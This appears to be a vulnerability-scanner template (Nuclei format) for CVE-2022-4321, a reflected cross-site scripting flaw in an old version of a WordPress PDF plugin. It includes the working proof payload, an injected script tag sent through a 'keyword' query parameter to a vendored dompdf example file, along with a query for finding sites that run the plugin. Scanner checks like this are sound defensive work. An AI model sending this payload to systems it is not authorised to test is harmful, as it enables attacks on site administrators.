id: CVE-2022-4321

info:
  name: PDF Generator for WordPress < 1.1.2 - Cross Site Scripting
  author: r3Y3r53,HuTa0
  severity: medium
  description: |
    The plugin includes a vendored dompdf example file which is susceptible to Reflected Cross-Site Scripting and could be used against high privilege users such as admin
  remediation: Fixed in version 1.1.2
  reference:
    - https://wpscan.com/vulnerability/6ac1259c-86d9-428b-ba98-7f3d07910644
    - https://nvd.nist.gov/vuln/detail/CVE-2022-4321
    - https://wordpress.org/plugins/pdf-generator-for-wp/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-4321
    cwe-id: CWE-79
    epss-score: 0.00064
    epss-percentile: 0.26173
    cpe: cpe:2.3:a:wpswings:pdf_generator_for_wordpress:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: wpswings
    product: pdf_generator_for_wordpress
    framework: wordpress
    publicwww-query: "/wp-content/plugins/pdf-generator-for-wp"
  tags: cve,cve2022,wpscan,wordpress,wp,wp-plugin,xss,pdf-generator-for-wp

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/pdf-generator-for-wp/package/lib/dompdf/vendor/dompdf/dompdf/I18N/Arabic/Examples/Query.php?keyword="><script>alert(document.domain)</script>'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '><script>alert(document.domain)</script>'
          - 'pdf-generator-for-wp'
          - 'Total execution time is'
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200